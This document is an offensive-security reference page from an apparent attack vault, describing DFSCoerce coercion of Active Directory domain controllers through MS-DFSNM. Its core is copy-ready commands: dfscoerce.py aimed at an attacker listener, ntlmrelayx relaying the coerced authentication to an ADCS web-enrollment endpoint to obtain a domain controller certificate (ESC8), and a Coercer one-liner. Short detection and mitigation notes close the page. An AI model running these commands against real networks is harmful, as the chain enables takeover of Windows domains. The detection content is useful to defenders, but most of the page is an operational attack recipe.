--- title: "Attack #77 β€” DFSCoerce MS-DFSNM Coercion" description: "DFSCoerce abuses the MS-DFSNM (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to…" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "adcs", "ntlm", "relay"] tools: [] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/πŸ”· Attack #77 β€” DFSCoerce MS-DFSNM Coercion.md" --- # πŸ”· Attack #77 β€” Coercion via DFSCoerce / MS-DFSNM *** ## πŸ“– How It Works DFSCoerce abuses the **MS-DFSNM** (Distributed File System Namespace Management) protocol to coerce a target machine (typically a DC) into authenticating to an attacker-controlled host. It's functionally similar to PetitPotam (#41) and PrinterBug (#42) β€” a coercion technique that feeds into NTLM relay chains (ESC8, RBCD, etc.). DFSCoerce requires authentication but works on fully patched DCs where PetitPotam's unauthenticated variant has been fixed. *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Any domain user credentials** | Authentication required | | **DFS role installed on target** | Default on DCs in many environments | | **Relay target** | ADCS, LDAP, etc. | *** ## πŸ’» Full Commands ```bash # ── DFSCoerce ───────────────────────────────────────────────────────────────── python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \ LISTENER_IP DC01.corp.local # ── Combined with ESC8 ─────────────────────────────────────────────────────── # Terminal 1: ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController # Terminal 2: python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local ATTACKER_IP DC01.corp.local # ── Coercer (all-in-one β€” includes DFSCoerce) ──────────────────────────────── coercer coerce -u low_user -p 'Password1' -d corp.local \ -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-DFSNM ``` *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4624** | Security Log | DC authenticating to unexpected workstation | *** ## πŸ”— Attack Chain Context ``` [DFSCoerce] ──→ NTLM Coercion via MS-DFSNM β†’ relay to ADCS/LDAP β”‚ β”œβ”€β”€β†’ πŸ”— Alternative coercion when PetitPotam is patched β”œβ”€β”€β†’ πŸ”— Chains with: ESC8 (#33), RBCD (#17), UD (#15) └──→ πŸ’€ Defeated by: block outbound NTLM from DCs, enable EPA ``` *** > βœ… **Attack #77 β€” DFSCoerce complete.**